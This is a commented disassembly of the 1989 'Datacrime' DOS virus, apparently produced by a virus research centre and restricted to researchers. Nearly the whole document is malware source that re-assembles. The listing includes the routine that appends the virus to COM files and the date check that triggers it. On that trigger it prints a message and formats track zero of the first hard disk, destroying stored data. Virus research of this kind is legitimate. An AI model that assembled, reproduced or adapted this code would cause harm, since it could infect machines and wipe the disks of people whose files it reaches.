home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DATACRIM.ASM < prev    next >
Assembly Source File  |  1990-04-04  |  27KB  |  538 lines

  1. ;
  2. ; IMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM;
  3. ; :                 British Computer Virus Research Centre                   :
  4. ; :  12 Guildford Street,   Brighton,   East Sussex,   BN1 3LS,   England    :
  5. ; :  Telephone:     Domestic   0273-26105,   International  +44-273-26105    :
  6. ; :                                                                          :
  7. ; :                          The 'Datacrime' Virus                           :
  8. ; :                Disassembled by Joe Hirst,        May 1989                :
  9. ; :                                                                          :
  10. ; :                      Copyright (c) Joe Hirst 1989.                       :
  11. ; :                                                                          :
  12. ; :      This listing is only to be made available to virus researchers      :
  13. ; :                or software writers on a need-to-know basis.              :
  14. ; HMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM<
  15.  
  16.         ; The virus occurs attached to the end of a COM file.  The first
  17.         ; three bytes of the program are stored in the virus, and replaced
  18.         ; by a branch to the beginning of the virus.
  19.  
  20.         ; The disassembly has been tested by re-assembly using MASM 5.0.
  21.  
  22.         ; Addressability is maintained by taking the offset from the
  23.         ; initial jump to the virus.  This is the length of the host minus
  24.         ; three (length of the jump instruction).  Three is subtracted
  25.         ; from this figure (presumably the length of the original "host"
  26.         ; program when the virus was released).  The result is kept in
  27.         ; register SI.  Data addresses add SI+106H (COM origin of 100H
  28.         ; + length of jump + length of initial host) to the offset of the
  29.         ; data item within the virus.
  30.  
  31.         ; Note that if it does nothing else this virus will almost certainly
  32.         ; screw up the critical error handler because:
  33.  
  34.         ; 1.    There is a missing segment override on the restore of the
  35.         ;       original segment (presumably the result of inserting such
  36.         ;       overrides manually), and
  37.  
  38.         ; 2.    If the virus looks at more than one disk it will reinstall
  39.         ;       the routine, overwriting the original saved vector with that
  40.         ;       of its own routine.
  41.  
  42. CODE    SEGMENT BYTE PUBLIC 'CODE'
  43.         ASSUME  CS:CODE,DS:CODE
  44.  
  45.         ORG     09AH
  46. DW009A  DW      ?
  47.  
  48.         ORG     101H
  49. DW0101  DW      ?
  50.  
  51.         ; Start of virus - Set up relocation factor
  52.  
  53.         ORG     0
  54. START:  MOV     SI,CS:DW0101            ; Address initial jump to virus
  55.         SUB     SI,3                    ; Length of original host (?)
  56.         MOV     AX,SI                   ; Copy relocation factor
  57.         CMP     AX,0                    ; Is it zero (initial release)?
  58.         JNE     BP0012                  ; Branch if not
  59.         JMP     BP0110                  ; Infection routine
  60.  
  61.         ; Restore host and test initial start month
  62.  
  63. BP0012: LEA     DI,DB03D5[SI+106H]      ; Address stored start of host
  64.         MOV     BX,0100H                ; Address beginning of host program
  65.         MOV     CX,5                    ; Word count
  66. BP001C: MOV     AX,[DI]                 ; Get next word
  67.         MOV     [BX],AX                 ; Replace next word
  68.         ADD     BX,2                    ; Address next target word
  69.         ADD     DI,2                    ; Address next stored word
  70.         DEC     CX                      ; Reduce count
  71.         JNZ     BP001C                  ; Repeat for each word
  72.         MOV     AH,2AH                  ; Get date function
  73.         INT     21H                     ; DOS service
  74.         MOV     AL,CS:DB03EA[SI+106H]   ; Get start month
  75.         CMP     AL,DH                   ; Is it start month yet?
  76.         JG      BP0040                  ; Branch if not
  77.         MOV     CS:DB03EA[SI+106H],0    ; Don't do test any more
  78.         JMP     BP0045
  79.  
  80.         ; Pass control to host program
  81.  
  82. BP0040: MOV     BX,0100H                ; Address beginning of host program
  83.         JMP     BX                      ; Branch to host program
  84.  
  85.         ; Are we in target part of year?
  86.  
  87. BP0045: MOV     AX,CS:DW03E8[SI+106H]   ; Get start month and day
  88.         CMP     AX,DX                   ; Compare to actual
  89.         JL      BP0051                  ; Branch if after start date
  90.         JMP     BP0110                  ; Infection routine
  91.  
  92.         ; Is there a hard disk?
  93.  
  94. BP0051: MOV     AX,0                    ; Clear register
  95.         PUSH    DS
  96.         MOV     DS,AX                   ; Address segment zero
  97.         MOV     BX,0106H                ; Address Int 41H segment
  98.         MOV     AX,[BX]                 ; Get Int 41H segment
  99.         POP     DS
  100.         CMP     AX,0                    ; Is it zero (no hard disk)?
  101.         JNE     BP0067                  ; Branch if not
  102.         MOV     BX,0100H                ; Address beginning of host program
  103.         JMP     BX                      ; Branch to host program
  104.  
  105.         ; Display message and format track zero, heads 0 - 8
  106.  
  107. BP0067: LEA     BX,DB00E7[SI+106H]      ; Address encrypted string
  108.         MOV     CL,29H                  ; Load length of string
  109. BP006D: MOV     DL,CS:[BX]              ; Get a character
  110.         XOR     DL,55H                  ; Decrypt character
  111.         MOV     AH,2                    ; Display character function
  112.         INT     21H                     ; DOS service
  113.         INC     BX                      ; Address next character
  114.         DEC     CL                      ; Reduce count
  115.         JNZ     BP006D                  ; Repeat for each character
  116.         MOV     BX,OFFSET DW00A7+106H   ; Address format buffer (no SI?)
  117.         MOV     CH,0                    ; Track zero
  118.         MOV     DX,0080H                ; Head zero, first hard disk
  119. BP0084: MOV     CH,0                    ; Track zero
  120.         MOV     AL,0                    ; Load zero
  121.         MOV     CL,6                    ; \ Multiply zero by 64
  122.         SHL     AL,CL                   ; /
  123.         MOV     CL,AL                   ; Move result (zero)
  124.         OR      CL,1                    ; Now its one (and next line zero)
  125.         MOV     AX,0500H                ; Format track, interleave zero
  126.         INT     13H                     ; Disk I/O
  127.         JB      BP009F                  ; Branch if error
  128.         INC     DH                      ; Next head
  129.         CMP     DH,9                    ; Is it head nine?
  130.         JNE     BP0084                  ; Format if not
  131. BP009F: MOV     AH,2                    ; Display character function
  132.         MOV     DL,7                    ; Beep
  133.         INT     21H                     ; DOS service
  134.         JMP     BP009F                  ; Loop on beep
  135.  
  136.         ; Format table (required for ATs and PS/2s)
  137.         ; Program does not in fact point to this because the reference
  138.         ; to register SI is missing
  139.  
  140. DW00A7  DB      0, 01H, 0, 02H, 0, 03H, 0, 04H, 0, 05H, 0, 06H, 0, 07H, 0, 08H
  141.         DB      0, 09H, 0, 0AH, 0, 0BH, 0, 0CH, 0, 0DH, 0, 0EH, 0, 0FH, 0, 10H
  142.         DB      0, 11H, 0, 12H, 0, 13H, 0, 14H, 0, 15H, 0, 16H, 0, 17H, 0, 18H
  143.         DB      0, 19H, 0, 1AH, 0, 1BH, 0, 1CH, 0, 1DH, 0, 1EH, 0, 1FH, 0, 20H
  144.  
  145. ;        The next field decodes to:
  146.  
  147. ;       DB      'DATACRIME VIRUS', 0AH, 0DH
  148. ;       DB      'RELEASED: 1 MARCH 1989', 0AH, 0DH
  149.  
  150. DB00E7  DB      11H, 14H, 01H, 14H, 16H, 07H, 1CH, 18H, 10H
  151.         DB      75H, 03H, 1CH, 07H, 00H, 06H, 5FH, 58H
  152.         DB      07H, 10H, 19H, 10H, 14H, 06H, 10H, 11H
  153.         DB      6FH, 75H, 64H, 75H, 18H, 14H, 07H, 16H
  154.         DB      1DH, 75H, 64H, 6CH, 6DH, 6CH, 5FH, 58H
  155.  
  156.         ; Start of infection routine
  157.  
  158. BP0110: MOV     AH,19H                  ; Get current disk function
  159.         INT     21H                     ; DOS service
  160.         MOV     CS:DB03F5[SI+106H],AL   ; Save current disk
  161.         MOV     AH,47H                  ; Get current directory function
  162.         MOV     DX,0                    ; Default disk
  163.         PUSH    SI
  164.         LEA     SI,DB03F6+1[SI+106H]    ; Original directory store
  165.         INT     21H                     ; DOS service
  166.         POP     SI
  167.         MOV     CS:DB03EC[SI+106H],0    ; Set disk drive pointer to start
  168.         JMP     BP0130                  ; Select disk drive
  169.  
  170.         ; Select disk drive from table
  171.  
  172. BP0130: CALL    BP0172                  ; Install Int 24H routine
  173.         LEA     BX,DB03E3[SI+106H]      ; Address disk drive table
  174.         MOV     AL,CS:DB03EC[SI+106H]   ; Get disk drive pointer
  175.         INC     CS:DB03EC[SI+106H]      ; Update disk drive pointer
  176.         MOV     AH,0                    ; Clear top of register
  177.         ADD     BX,AX                   ; Add disk drive pointer
  178.         MOV     AL,CS:[BX]              ; Get next disk drive
  179.         MOV     DL,AL                   ; Move device for select
  180.         CMP     AL,0FFH                 ; End of table?
  181.         JNE     BP0151                  ; Branch if not
  182.         JMP     BP023C                  ; Tidy up and terminate
  183.  
  184. BP0151: MOV     AH,0EH                  ; Select disk function
  185.         INT     21H                     ; DOS service
  186.         MOV     AH,47H                  ; Get current directory function
  187.         MOV     DL,0                    ; Default drive
  188.         PUSH    SI
  189.         LEA     SI,DB0417+1[SI+106H]    ; Current directory path name
  190.         INT     21H                     ; DOS service
  191.         POP     SI
  192.         MOV     BX,4                    ; Address critical error
  193.         MOV     AL,CS:[BX]              ; Get critical error code
  194.         CMP     AL,3                    ; Was it three?
  195.         JNE     BP01B7                  ; Branch if not
  196.         MOV     AL,0                    ; \ Set it back to zero
  197.         MOV     CS:[BX],AL              ; /
  198.         JMP     BP0130                  ; Select next disk drive
  199.  
  200.         ; Install interrupt 24H routine
  201.  
  202. BP0172: XOR     AX,AX                   ; Clear register
  203.         PUSH    DS
  204.         MOV     DS,AX                   ; Address segment zero
  205.         MOV     BX,0090H                ; Address Int 24H vector
  206.         MOV     AX,[BX+2]               ; Get Int 24H segment
  207.         MOV     CS:DW03CF[SI+106H],AX   ; Save Int 24H segment
  208.         MOV     AX,[BX]                 ; Get Int 24H offset
  209.         MOV     CS:DW03D1[SI+106H],AX   ; Save Int 24H offset
  210.         MOV     AX,CS                   ; Get current segment
  211.         MOV     [BX+2],AX               ; Set new Int 24H segment
  212.         LEA     AX,BP01AE[SI+106H]      ; Int 24H routine
  213.         MOV     [BX],AX                 ; Set new Int 24H offset
  214.         POP     DS
  215.         RET
  216.  
  217.         ; Restore original interrupt 24H
  218.  
  219. BP0196: XOR     AX,AX                   ; Clear register
  220.         PUSH    DS
  221.         MOV     DS,AX                   ; Address segment zero
  222.         MOV     BX,0090H                ; Address Int 24H vector
  223.         MOV     AX,CS:DW03CF[SI+106H]   ; Get Int 24H segment
  224.         MOV     [BX+2],AX               ; Restore Int 24H segment
  225.         MOV     AX,DW03D1[SI+106H]      ; Get Int 24H offset (missing CS:)
  226.         MOV     [BX],AX                 ; Restore Int 24H offset
  227.         POP     DS
  228.         RET
  229.  
  230.         ; Interrupt 24H routine
  231.  
  232. BP01AE: MOV     AL,3                    ; Fail the system call
  233.         MOV     BX,4                    ; Address critical error byte
  234.         MOV     CS:[BX],AL              ; Save code
  235.         IRET
  236.  
  237. BP01B7: CALL    BP02DA                  ; Find and infect a file
  238.         MOV     AL,CS:DB03EB[SI+106H]   ; Get infection completed switch
  239.         CMP     AL,1                    ; Is it on?
  240.         JNE     BP01C6                  ; Branch if not
  241.         JMP     BP023C                  ; Tidy up and terminate
  242.  
  243. BP01C6: CALL    BP0260                  ; Get next directory
  244.         JNB     BP01CE                  ; Branch if found
  245.         JMP     BP0130                  ; Select next disk drive
  246.  
  247. BP01CE: MOV     CX,0040H                ; Maximum characters to copy
  248.         PUSH    SI
  249.         DEC     DI                      ; \
  250.         DEC     DI                      ;  ) Address back to '*.*'
  251.         DEC     DI                      ; /
  252.         MOV     WORD PTR [DI],'\ '      ; Word reversed, but overwritten soon
  253.         MOV     SI,BX                   ; Address file name
  254.         CLD
  255. BP01DC: LODSB                           ; \ Copy a character
  256.         STOSB                           ; /
  257.         DEC     CX                      ; Decrement count
  258.         CMP     AL,0                    ; Was last character zero?
  259.         JNE     BP01DC                  ; Next character if not
  260.         POP     SI
  261.         MOV     AH,3BH                  ; Change current directory function
  262.         LEA     DX,DB0438[SI+106H]      ; Directory pathname
  263.         INT     21H                     ; DOS service
  264.         CALL    BP02DA                  ; Find and infect a file
  265.         MOV     AL,CS:DB03EB[SI+106H]   ; Get infection completed switch
  266.         CMP     AL,1                    ; Is it on?
  267.         JE      BP023C                  ; Tidy up and terminate if yes
  268.         CALL    BP0260                  ; Get next directory
  269.         JNB     BP01CE                  ; Branch if found
  270.         MOV     AH,3BH                  ; Change current directory function
  271.         LEA     DX,DB0417[SI+106H]      ; Current directory path name
  272.         INT     21H                     ; DOS service
  273.         INC     CS:DB03E2[SI+106H]      ; Increment directory count
  274.         CALL    BP0260                  ; Get next directory
  275.         JB      BP023C                  ; Branch if not found
  276.         MOV     AL,CS:DB03E2[SI+106H]   ; Get directory count
  277. BP0214: CMP     AL,0                    ; Is directory count zero yet?
  278.         JNE     BP021D                  ; Branch if not
  279.         ADD     BX,9                    ; ???
  280.         JMP     BP01CE                  ; ??? Add directory name to path
  281.  
  282. BP021D: MOV     AH,4FH                  ; Find next file function
  283.         PUSH    AX
  284.         INT     21H                     ; DOS service
  285.         POP     AX
  286.         JNB     BP0228                  ; Branch if no error
  287.         JMP     BP0130                  ; Select next disk drive
  288.  
  289. BP0228: PUSH    AX
  290.         MOV     AH,2FH                  ; Get DTA function
  291.         INT     21H                     ; DOS service
  292.         ADD     BX,15H                  ; Address attributes byte
  293.         MOV     AL,10H                  ; Directory attribute
  294.         CMP     CS:[BX],AL              ; Is it a directory?
  295.         POP     AX
  296.         JNE     BP021D                  ; Branch if not
  297.         DEC     AL                      ; Decrement directory count
  298.         JMP     BP0214
  299.  
  300.         ; Reset disk and directory, and pass control to host
  301.  
  302. BP023C: MOV     AH,0EH                  ; Select disk function
  303.         MOV     DL,CS:DB03F5[SI+106H]   ; Get original current disk
  304.         INT     21H                     ; DOS service
  305.         MOV     AH,3BH                  ; Change current directory function
  306.         LEA     DX,DB03F6[SI+106H]      ; Original directory
  307.         INT     21H                     ; DOS service
  308.         CALL    BP0196                  ; Restore Int 24H
  309.         MOV     AX,SI                   ; Copy relocation factor
  310.         CMP     AX,0                    ; Is it zero (initial release)?
  311.         JE      BP025C                  ; Terminate 8f not
  312.         MOV     BX,0100H                ; Address beginning of host program
  313.         JMP     BX                      ; Branch to host program
  314.  
  315.         ; Terminate
  316.  
  317. BP025C: MOV     AH,4CH                  ; End process function
  318.         INT     21H                     ; DOS service
  319.  
  320.         ; Get next directory
  321.  
  322. BP0260: LEA     DI,DB0438+1[SI+106H]    ; Directory pathname
  323.         MOV     CX,003AH                ; Length to clear
  324.         MOV     AL,0                    ; Set to zero
  325.         CLD
  326.         REPZ    STOSB                   ; Clear pathname area
  327.         MOV     AH,47H                  ; Get current directory function
  328.         PUSH    SI
  329.         MOV     DX,0                    ; Current drive
  330.         LEA     SI,DB0438+1[SI+106H]    ; Directory pathname
  331.         INT     21H                     ; DOS service
  332.         POP     SI
  333.         CLD
  334.         LEA     DI,DB0438+1[SI+106H]    ; Directory pathname
  335.         MOV     CX,0040H                ; Length to search
  336.         MOV     AL,0                    ; Search for zero
  337.         REPNZ   SCASB                   ; Search for end of pathname
  338.         JZ      BP0289                  ; Branch if found
  339.         STC
  340.         RET
  341.  
  342.         ; Set file name wildcard on path
  343.  
  344. BP0289: DEC     DI                      ; \ Back two positions
  345.         DEC     DI                      ; /
  346.         MOV     AL,[DI]                 ; Get character
  347.         CMP     AL,'\'                  ; Does path end in dir delim?
  348.         JE      BP0294                  ; Branch if yes
  349.         INC     DI                      ; Next position
  350.         MOV     AL,'\'                  ; Make next character a dir delim
  351. BP0294: MOV     [DI],AL                 ; Store character
  352.         INC     DI                      ; Next position
  353.         MOV     AL,'*'                  ; All files
  354.         MOV     [DI],AL                 ; Store character
  355.         INC     DI                      ; Next position
  356.         MOV     AL,'.'                  ; Extension
  357.         MOV     [DI],AL                 ; Store character
  358.         INC     DI                      ; Next position
  359.         MOV     AL,'*'                  ; all extensions
  360.         MOV     [DI],AL                 ; Store character
  361.         INC     DI                      ; Next position
  362.         LEA     DX,DB0438[SI+106H]      ; Address directory pathname
  363.         MOV     AH,4EH                  ; Find first file function
  364.         MOV     CX,0010H                ; Find directories
  365.         INT     21H                     ; DOS service
  366.         JNB     BP02B4                  ; Branch if no error
  367.         RET
  368.  
  369.         ; Valid directories only
  370.  
  371. BP02B4: MOV     AH,2FH                  ; Get DTA function
  372.         INT     21H                     ; DOS service
  373.         ADD     BX,15H                  ; Address attribute byte
  374.         MOV     AL,10H                  ; Directory attribute
  375.         CMP     CS:[BX],AL              ; Is it a directory?
  376.         JNE     BP02D2                  ; Branch if not
  377.         CLC
  378.         MOV     AH,2FH                  ; Get DTA function
  379.         INT     21H                     ; DOS service
  380.         ADD     BX,1EH                  ; Address directory name
  381.         MOV     AL,'.'                  ; Prepare to test first byte
  382.         CMP     CS:[BX],AL              ; Is it a pointer to another dir?
  383.         JE      BP02D2                  ; Branch if yes
  384.         RET
  385.  
  386. BP02D2: MOV     AH,4FH                  ; Find next file function
  387.         INT     21H                     ; DOS service
  388.         JNB     BP02B4                  ; Branch if no error
  389.         STC
  390.         RET
  391.  
  392.         ; Find and infect a file
  393.  
  394. BP02DA: MOV     CS:DB03EB[SI+106H],0    ; Set infection completed switch off
  395.         MOV     AH,4EH                  ; Find first file function
  396.         MOV     CX,7                    ; All files
  397.         LEA     DX,DB03ED[SI+106H]      ; Address '*.COM'
  398.         INT     21H                     ; DOS service
  399.         JNB     BP02F6                  ; Branch if no error
  400.         RET
  401.  
  402. BP02EF: MOV     AH,4FH                  ; Find next file function
  403.         INT     21H                     ; DOS service
  404.         JNB     BP02F6                  ; Branch if no error
  405.         RET
  406.  
  407.         ; Exclude COMMAND.COM
  408.  
  409. BP02F6: MOV     BX,00A4H                ; Address seventh letter of name
  410.         MOV     AL,[BX]                 ; Get character
  411.         CMP     AL,'D'                  ; Is it a 'D' (as in COMMAND.COM)?
  412.         JNE     BP0301                  ; Branch if not
  413.         JMP     BP02EF                  ; Next file
  414.  
  415.         ; Is it already infected?
  416.  
  417. BP0301: MOV     BX,0096H                ; Address time of file
  418.         MOV     CX,[BX]                 ; Get time of file
  419.         ADD     BX,2                    ; Address date of file
  420.         MOV     DX,[BX]                 ; Get date of file
  421.         MOV     AL,CL                   ; Copy low byte of time
  422.         AND     AL,0E0H                 ; Isolate low part of minutes
  423.         MOV     AH,AL                   ; Copy low part of minutes
  424.         SHR     AL,1                    ; \
  425.         SHR     AL,1                    ;  \
  426.         SHR     AL,1                    ;   ) Move mins to secs position
  427.         SHR     AL,1                    ;  /
  428.         SHR     AL,1                    ; /
  429.         OR      AL,AH                   ; Combine with minutes
  430.         CMP     AL,CL                   ; Compare to actual time
  431.         JNE     BP0323                  ; Branch if different
  432.         JMP     BP02EF                  ; Find next file
  433.  
  434.         ; Uninfected COM file found
  435.  
  436. BP0323: PUSH    CX
  437.         PUSH    DX
  438.         MOV     AX,CS:DW009A            ; Get low-order length
  439.         MOV     CS:DW03D3[SI+106H],AX   ; Save low-order length
  440.         CALL    BP03AA                  ; Remove read-only attribute
  441.         MOV     AX,3D02H                ; Open handle (R/W) function
  442.         MOV     DX,009EH                ; File name
  443.         INT     21H                     ; DOS service
  444.         MOV     BX,AX                   ; Move handle
  445.         MOV     AH,3FH                  ; Read handle function
  446.         LEA     DX,DB03D5[SI+106H]      ; Store area for start of host
  447.         MOV     CX,000AH                ; Read first ten bytes
  448.         INT     21H                     ; DOS service
  449.         MOV     AX,4202H                ; Move file pointer (EOF) function
  450.         XOR     CX,CX                   ; \ No displacement
  451.         XOR     DX,DX                   ; /
  452.         INT     21H                     ; DOS service
  453.         MOV     CX,OFFSET ENDADR        ; Length of virus
  454.         NOP
  455.         LEA     DX,[SI+106H]            ; Address start of virus
  456.         MOV     AH,40H                  ; Write handle function
  457.         INT     21H                     ; DOS service
  458.         MOV     AX,4200H                ; Move file pointer (start) function
  459.         XOR     CX,CX                   ; \ No displacement
  460.         XOR     DX,DX                   ; /
  461.         INT     21H                     ; DOS service
  462.         MOV     AX,CS:DW009A            ; Get low-order length
  463.         SUB     AX,3                    ; Subtract length of jump
  464.         MOV     CS:DW03E0[SI+106H],AX   ; Store displacement in jump
  465.         MOV     AH,40H                  ; Write handle function
  466.         MOV     CX,3                    ; Length of jump
  467.         LEA     DX,DB03DF[SI+106H]      ; Address jump instruction
  468.         INT     21H                     ; DOS service
  469.         POP     DX
  470.         POP     CX
  471.         AND     CL,0E0H                 ; Isolate low part of minutes
  472.         MOV     AL,CL                   ; Copy low part of minutes
  473.         SHR     CL,1                    ; \
  474.         SHR     CL,1                    ;  \
  475.         SHR     CL,1                    ;   ) Move mins to secs position
  476.         SHR     CL,1                    ;  /
  477.         SHR     CL,1                    ; /
  478.         OR      CL,AL                   ; Combine with minutes
  479.         MOV     AX,5701H                ; Set file date & time function
  480.         INT     21H                     ; DOS service
  481.         MOV     AH,3EH                  ; Close handle function
  482.         INT     21H                     ; DOS service
  483.         CALL    BP03C1                  ; Replace attributes
  484.         MOV     CS:DB03EB[SI+106H],1    ; Set infection completed switch on
  485.         MOV     AH,3BH                  ; Change current directory function
  486.         LEA     DX,DB0417[SI+106H]      ; Current directory path name
  487.         INT     21H                     ; DOS service
  488.         RET
  489.  
  490.         ; Remove read-only attribute
  491.  
  492. BP03AA: MOV     DX,009EH                ; Address file name
  493.         MOV     AX,4300H                ; Get file attributes function
  494.         INT     21H                     ; DOS service
  495.         MOV     CS:DW03F3[SI+106H],CX   ; Save attributes
  496.         AND     CX,00FEH                ; Set off read-only
  497.         MOV     AX,4301H                ; Set file attributes function
  498.         INT     21H                     ; DOS service
  499.         RET
  500.  
  501.         ; Replace attributes
  502.  
  503. BP03C1: MOV     CX,CS:DW03F3[SI+106H]   ; Get attributes
  504.         MOV     DX,009EH                ; Address file name
  505.         MOV     AX,4301H                ; Set file attributes function
  506.         INT     21H                     ; DOS service
  507.         RET
  508.  
  509. DW03CF  DW      1142H                   ; Original Int 24H segment
  510. DW03D1  DW      175DH                   ; Original Int 24H offset
  511. DW03D3  DW      0039H                   ; Low-order length of host
  512. DB03D5  DB      0EBH, 02EH, 090H, 'Hello -'     ; Store area for start of host
  513. DB03DF  DB      0E9H                    ; \ Jump for host program
  514. DW03E0  DW      0                       ; /
  515. DB03E2  DB      0BH
  516. DB03E3  DB      2, 3, 0, 1, 0FFH        ; Disk drive table (C, D, A, B)
  517. DW03E8  DW      0A0CH                   ; Start month and day
  518. DB03EA  DB      0                       ; Start month
  519. DB03EB  DB      0                       ; Infection completed switch
  520. DB03EC  DB      3                       ; Disk drive pointer
  521. DB03ED  DB      '*.COM', 0
  522. DW03F3  DW      20H                     ; File attributes
  523. DB03F5  DB      0                       ; Original current disk
  524. DB03F6  DB      '\', 0, 'ENTURA', 19H DUP (0)   ; Original directory
  525. DB0417  DB      '\', 0, 'NPAK', 1BH DUP (0)     ; Current directory
  526. DB0438  DB      '\*.*', 3CH DUP (0)             ; Directory pathname
  527.  
  528.         DB      000H, 02BH, 0C3H, 074H, 005H, 078H, 002H, 041H
  529.         DB      0C3H, 049H, 0C3H, 051H, 052H, 0A1H, 014H, 000H
  530.         DB      08BH, 00EH, 01AH, 000H, 08BH, 016H, 01CH, 000H
  531.  
  532. ENDADR  EQU     $
  533.  
  534. CODE    ENDS
  535.  
  536.         END     START
  537.  
  538.